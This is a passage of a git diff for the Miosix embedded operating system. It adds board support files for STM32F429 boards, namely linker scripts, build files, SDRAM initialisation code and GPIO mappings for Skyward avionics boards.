+INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f429zi_oledboard2/unikernel-xram-8m.ld b/miosix/arch/board/stm32f429zi_oledboard2/unikernel-xram-8m.ld new file mode 100644 index 000000000..17de8b8e6 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/unikernel-xram-8m.ld @@ -0,0 +1,25 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, we use TCM for the interrupt stack and leave the rest of the internal + * RAM unused + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 8M /* XRAM */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-irqstack.ld diff --git a/miosix/arch/board/stm32f429zi_oledboard2/unikernel.ld b/miosix/arch/board/stm32f429zi_oledboard2/unikernel.ld new file mode 100644 index 000000000..f6028279c --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/unikernel.ld @@ -0,0 +1,18 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 192K +} + +/* Mark XRAM even if it's not used in memory map, may be used for framebuffer */ +_xram_start = 0xd0000000; +_xram_size = 8M; + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/CMakeLists.txt b/miosix/arch/board/stm32f429zi_skyward_anakin/CMakeLists.txt new file mode 100644 index 000000000..f5300d078 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/CMakeLists.txt @@ -0,0 +1,39 @@ +## +## CMakeLists.txt for board stm32f429zi_skyward_anakin +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel-sgm.ld + # 2) Code in FLASH, stack + heap in external RAM + unikernel-xram-sgm.ld -D__ENABLE_XRAM +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-sgm.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_sgm.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_wd.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F429ZI_SKYWARD_ANAKIN) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F429ZI_SKYWARD_ANAKIN) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/Makefile.inc b/miosix/arch/board/stm32f429zi_skyward_anakin/Makefile.inc new file mode 100644 index 000000000..23de0c8bc --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f429zi_skyward_anakin +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +arch/drivers/stm32_sgm.cpp \ +arch/drivers/stm32_wd.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F429ZI_SKYWARD_ANAKIN +BOARD_CXXFLAGS := -D_BOARD_STM32F429ZI_SKYWARD_ANAKIN + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/boot.cpp b/miosix/arch/board/stm32f429zi_skyward_anakin/boot.cpp new file mode 100644 index 000000000..d0423c8ab --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/boot.cpp @@ -0,0 +1,45 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/bsp.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Initialize clocks + SystemInit(); + //Initialize SDRAM after SystemInit() as it is timing-sensitive and needs + //the full clock speed. + #ifdef __ENABLE_XRAM + miosix::configureSdram(); + #endif //__ENABLE_XRAM +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f076d14fd --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F429xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f427,f437,f429,f439 RCC synchronization is required per the +//device errata (ES0206 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 90, so there are 91 +#define MIOSIX_NUM_PERIPHERAL_IRQ 91 diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..bebee1362 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/bsp.cpp @@ -0,0 +1,305 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "drivers/stm32_sgm.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +/** + * The example code from ST checks for the busy flag after each command. + * Interestingly I couldn't find any mention of this in the datsheet. + */ +static void sdramCommandWait() +{ + for(int i=0;i<0xffff;i++) + if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; +} + +void configureSdram() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + + //First, configure SDRAM GPIOs + GPIOB->AFR[0]=0x0cc00000; + GPIOC->AFR[0]=0x0000000c; + GPIOD->AFR[0]=0x000000cc; + GPIOD->AFR[1]=0xcc000ccc; + GPIOE->AFR[0]=0xc00000cc; + GPIOE->AFR[1]=0xcccccccc; + GPIOF->AFR[0]=0x00cccccc; + GPIOF->AFR[1]=0xccccc000; + GPIOG->AFR[0]=0x00cc00cc; + GPIOG->AFR[1]=0xc000000c; + + GPIOB->MODER=0x00002800; + GPIOC->MODER=0x00000002; + GPIOD->MODER=0xa02a000a; + GPIOE->MODER=0xaaaa800a; + GPIOF->MODER=0xaa800aaa; + GPIOG->MODER=0x80020a0a; + + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... + GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins + GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; + GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; + GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; + GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; + GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; + GPIOH->OSPEEDR=0xaaaaaaaa; + + //Since we'we un-configured PB3/PB4 from the default at boot TDO,NTRST, + //finish the job and remove the default pull-up + GPIOB->PUPDR=0; + + //Second, actually start the SDRAM controller + RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + + //SDRAM is a AS4C4M16SA-6TAN, connected to bank 2 (0xd0000000) + //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency + | FMC_SDCR1_RBURST // Enable read burst + | 0; // 0 delay between reads after CAS + FMC_Bank5_6->SDCR[1]=0 // 8 bit column address + | FMC_SDCR1_NR_0 // 12 bit row address + | FMC_SDCR1_MWID_0 // 16 bit data bus + | FMC_SDCR1_NB // 4 banks + | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (TCK>9+0.5ns [1]) + + static_assert(cpuFrequency==180000000 || cpuFrequency==168000000, + "No SDRAM timings for this clock"); + if (cpuFrequency==180000000) + { + //One SDRAM clock cycle is 11.1ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>60ns) + | (2-1)<<20; // 2 cycle TRP (22.2ns>18ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (6-1)<<4 // 6 cycle TXSR (66.6ns>61.5+0.5ns [1]) + | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (22.2ns>18ns) + } else if (cpuFrequency==168000000) { + //One SDRAM clock cycle is 11.9ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>60ns) + | (2-1)<<20; // 2 cycle TRP (23.8ns>18ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (6-1)<<4 // 6 cycle TXSR (71.4ns>61.5+0.5ns [1]) + | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (23.8ns>18ns) + } + //NOTE [1]: the timings for TCK and TIS depend on rise and fall times + //(see note 9 and 10 on datasheet). Timings are adjusted accordingly to + //the measured 2ns rise and fall time + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 1; // MODE=001 clock enabled + sdramCommandWait(); + + //SDRAM datasheet requires 200us delay here (note 11), here we use 10% more + delayUs(220); + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 2; // MODE=010 precharge all command + sdramCommandWait(); + + //FIXME: note 11 on SDRAM datasheet says extended mode register must be set, + //but the ST datasheet does not seem to explain how + FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 + | FMC_SDCMR_CTB2 // Enable bank 2 + | 4; // MODE=100 load mode register + sdramCommandWait(); + + FMC_Bank5_6->SDCMR= (4-1)<<5 // NRFS=8 SDRAM datasheet requires + // a minimum of 2 cycles, here we use 4 + | FMC_SDCMR_CTB2 // Enable bank 2 + | 3; // MODE=011 auto refresh + sdramCommandWait(); + + // 32ms/4096=7.8125us, but datasheet says to round that to 7.8us + if (cpuFrequency==180000000) + { + //7.8us*90MHz=702-20=682 + FMC_Bank5_6->SDRTR=682<<1; + } else if (cpuFrequency==168000000) { + //7.8us*84MHz=655-20=635 + FMC_Bank5_6->SDRTR=635<<1; + } +} + +void IRQbspInit() +{ + /* force Safe Guard Memory constructor call */ + SGM::instance(); + + /*If using SDRAM GPIOs are enabled by configureSdram(), else enable them here */ + #ifndef __ENABLE_XRAM + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + #endif /* __ENABLE_XRAM */ + + using namespace leds; + led0::mode(Mode::OUTPUT); + led1::mode(Mode::OUTPUT); + led2::mode(Mode::OUTPUT); + led3::mode(Mode::OUTPUT); + led4::mode(Mode::OUTPUT); + led5::mode(Mode::OUTPUT); + led6::mode(Mode::OUTPUT); + led7::mode(Mode::OUTPUT); + led8::mode(Mode::OUTPUT); + led9::mode(Mode::OUTPUT); + + using namespace sensors; + fxas21002::cs::mode(Mode::OUTPUT); + fxas21002::cs::high(); + fxas21002::int1::mode(Mode::INPUT); + fxas21002::int2::mode(Mode::INPUT); + + lps331::cs::mode(Mode::OUTPUT); + lps331::cs::high(); + lps331::int1::mode(Mode::INPUT); + lps331::int2::mode(Mode::INPUT); + + lsm9ds::csg::mode(Mode::OUTPUT); + lsm9ds::csg::high(); + lsm9ds::csm::mode(Mode::OUTPUT); + lsm9ds::csm::high(); + lsm9ds::drdyg::mode(Mode::INPUT); + lsm9ds::int1g::mode(Mode::INPUT); + lsm9ds::int1m::mode(Mode::INPUT); + lsm9ds::int2m::mode(Mode::INPUT); + + max21105::cs::mode(Mode::OUTPUT); + max21105::cs::high(); + max21105::int1::mode(Mode::INPUT); + max21105::int2::mode(Mode::INPUT); + + max31856::cs::mode(Mode::OUTPUT); + max31856::cs::high(); + max31856::drdy::mode(Mode::INPUT); + max31856::fault::mode(Mode::INPUT); + + mpl3115::int1::mode(Mode::INPUT); + mpl3115::int2::mode(Mode::INPUT); + + mpu9250::cs::mode(Mode::OUTPUT); + mpu9250::cs::high(); + mpu9250::int1::mode(Mode::INPUT); + + ms5803::cs::mode(Mode::OUTPUT); + ms5803::cs::high(); + + eth::cs::mode(Mode::OUTPUT); + eth::cs::high(); + eth::int1::mode(Mode::INPUT); + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + intrusive_ref_ptr devFs=basicFilesystemSetup(SDIODriver::instance()); + devFs->addDevice("gps", + intrusive_ref_ptr(new STM32DmaSerial( + 2,115200,piksi::tx::getPin(),piksi::rx::getPin()))); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** + * For safety reasons, we never want the anakin to shutdown. + * When requested to shutdown, we reboot instead. + */ +void shutdown() +{ + reboot(); +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..f0938c659 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/bsp_impl.h @@ -0,0 +1,68 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss + * Requires the CPU clock to be already configured (running from the PLL) + */ +void configureSdram(); + +inline void ledOn() +{ + leds::led0::high(); +} + +inline void ledOff() +{ + leds::led0::low(); +} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..320a747d2 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/interfaces-impl/hwmapping.h @@ -0,0 +1,156 @@ +/*************************************************************************** + * Copyright (C) 2016 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +namespace leds { +using led0 = Gpio; //Green, mapped to ledOn()/ledOff() +using led1 = Gpio; //Green +using led2 = Gpio; //Red +using led3 = Gpio; //Red +using led4 = Gpio; //Red +using led5 = Gpio; //Red +using led6 = Gpio; //Red +using led7 = Gpio; //Red +using led8 = Gpio; //Red +using led9 = Gpio; //Red +} //namespace leds + +namespace sensors { + +//Shared SPI bus among sensors +using sck = Gpio; +using miso = Gpio; +using mosi = Gpio; + +//Shared I2C bus among sensors +using sda = Gpio; +using scl = Gpio; + +//Gyro, SPI, 2MHz SCK max +namespace fxas21002 { +using cs = Gpio; +using int1 = Gpio; +using int2 = Gpio; +} //namespace fxas21002 + +//Barometer, SPI, MHz SCK max +namespace lps331 { +using cs = Gpio; +using int1 = Gpio; +using int2 = Gpio; +} //namespace lps331 + +//IMU, SPI, 10MHz SCK max +namespace lsm9ds { +using csg = Gpio; +using csm = Gpio; +using drdyg = Gpio; +using int1g = Gpio; +using int1m = Gpio; +using int2m = Gpio; +} //namespace lsm9ds + +//IMU, SPI, 10MHz SCK max +namespace max21105 { +using cs = Gpio; +using int1 = Gpio; +using int2 = Gpio; +} //namespace max21105 + +//Thermocouple, SPI, 5MHz SCK max +namespace max31856 { +using cs = Gpio; +using drdy = Gpio; +using fault = Gpio; +} //namespace max31856 + +//Barometer, I2C, 400KHz SCL max +namespace mpl3115 { +using int1 = Gpio; +using int2 = Gpio; +} //namespace mpl5115 + +//IMU, SPI, 1MHz SCK max +namespace mpu9250 { +using cs = Gpio; +using int1 = Gpio; +} //namespace mpu9250 + +//Barometer, SPI, 20MHz SCK max +namespace ms5803 { +using cs = Gpio; +} //namespace ms5803 + +} //namespace sensors + +namespace can { +using tx1 = Gpio; +using rx1 = Gpio; +using tx2 = Gpio; +using rx2 = Gpio; +} //namespace can + +namespace eth { +using miso = Gpio; +using mosi = Gpio; +using sck = Gpio; +using cs = Gpio; +using int1 = Gpio; +} //namespace eth + +namespace wireless { +//FIXME cs is missing +using miso = Gpio; +using mosi = Gpio; +using sck = Gpio; +} //namespace wireless + +namespace batteryManager { +using currentSense = Gpio; //analog +using voltageSense = Gpio; //analog +} //namespace batteryManager + +namespace misc { +using wkup = Gpio; +using adc1 = Gpio; //analog +using usart6tx = Gpio; +using usart6rx = Gpio; +using bootsel0 = Gpio; +using bootsel1 = Gpio; +} //namespace misc + +namespace piksi { +using tx = Gpio; +using rx = Gpio; +} //namespace piksi + +} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/anakin.cfg b/miosix/arch/board/stm32f429zi_skyward_anakin/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/anakin.cfg rename to miosix/arch/board/stm32f429zi_skyward_anakin/openocd.cfg diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/unikernel-sgm.ld b/miosix/arch/board/stm32f429zi_skyward_anakin/unikernel-sgm.ld new file mode 100644 index 000000000..26a7e249f --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/unikernel-sgm.ld @@ -0,0 +1,15 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 192K + sgm(rw) : ORIGIN = 0x40024000, LENGTH = 4K /* safeguard memory (.preserve) */ +} + +INCLUDE ldscripts/miosix-flash-3ram-separate-heap-sgm.ld diff --git a/miosix/arch/board/stm32f429zi_skyward_anakin/unikernel-xram-sgm.ld b/miosix/arch/board/stm32f429zi_skyward_anakin/unikernel-xram-sgm.ld new file mode 100644 index 000000000..4d9043e99 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_anakin/unikernel-xram-sgm.ld @@ -0,0 +1,25 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing only the heap in XRAM, we use SRAM + * as ram1 + */ +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 192K + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 8M /* XRAM */ + sgm(rw) : ORIGIN = 0x40024000, LENGTH = 4K /* safeguard memory (.preserve) */ +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-3ram-separate-heap-sgm.ld diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/CMakeLists.txt b/miosix/arch/board/stm32f429zi_skyward_homeone/CMakeLists.txt new file mode 100644 index 000000000..ebc27c020 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/CMakeLists.txt @@ -0,0 +1,38 @@ +## +## CMakeLists.txt for board stm32f429zi_skyward_homeone +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel.ld + # 2) Code in FLASH, stack + heap in external RAM + unikernel-xram.ld -D__ENABLE_XRAM +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_wd.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F429ZI_SKYWARD_HOMEONE) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F429ZI_SKYWARD_HOMEONE) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f429zi_skyward_homeone/Makefile.inc b/miosix/arch/board/stm32f429zi_skyward_homeone/Makefile.inc new file mode 100644 index 000000000..7a10f4875 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_skyward_homeone/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f429zi_skyward_homeone +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +arch/drivers/stm32_wd.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F429ZI_SKYWARD_HOMEONE +BOARD_CXXFLAGS := -D_BOARD_STM32F429ZI_SKYWARD_HOMEONE + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if 